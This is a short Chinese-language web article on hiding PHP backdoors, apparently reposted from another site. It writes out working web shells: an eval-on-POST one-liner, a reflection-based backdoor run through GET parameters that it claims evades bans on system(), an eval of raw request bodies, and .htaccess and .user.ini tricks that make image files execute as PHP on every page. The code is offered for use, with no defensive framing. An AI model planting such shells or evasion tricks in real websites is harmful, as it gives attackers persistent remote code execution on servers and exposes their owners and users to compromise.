php后门隐藏技巧
phpspy 菜刀一句话<?php@eval($_POST['cmd']);?>
反射后门
<?php
$func = new ReflectionFunction($_GET[m]);
echo $func->invokeArgs(array($_GET[c]));
?>
调用如x.php?m=system&c=whoami
后门也可绕过某些检测禁用system函数的防护系统
php://input是用来接收post数据(这里有php://input的介绍)
<?php
@eval(file_get_contents('php://input'))
?>
Post提交 system('whoami');
.htaccess(需webserver支持)可以设置任意后缀也可以设置UTF7编码格式shell
AddTypeapplication/x-httpd-php .jpg
然后再传一个JPG结尾的shell,访问即可执行了
.user.ini(需fastcgi配合)动态修改php.ini配置文件
User.ini
auto_prepend_file:指定在每个PHP页面执行前所要执行的代码
auto_prepend_file=demo.gif (每个页面都会加载demo.gif)
使用php://input (不需要上传额外的文件)(需要自行打开allow_url_include=on 默认为off)
缺点:不支持.user.ini修改allow_url_include (在PHP5时是PHP_INI_SYSTEM。 从PHP5.2.0起可用。)
http://php.net/manual/zh/ini.list.php
http://php.net/manual/zh/configuration.changes.modes.php
声明:本站所有文章资源内容,如无特殊说明或标注,均为采集网络资源。如若本站内容侵犯了原著者的合法权益,可联系本站删除。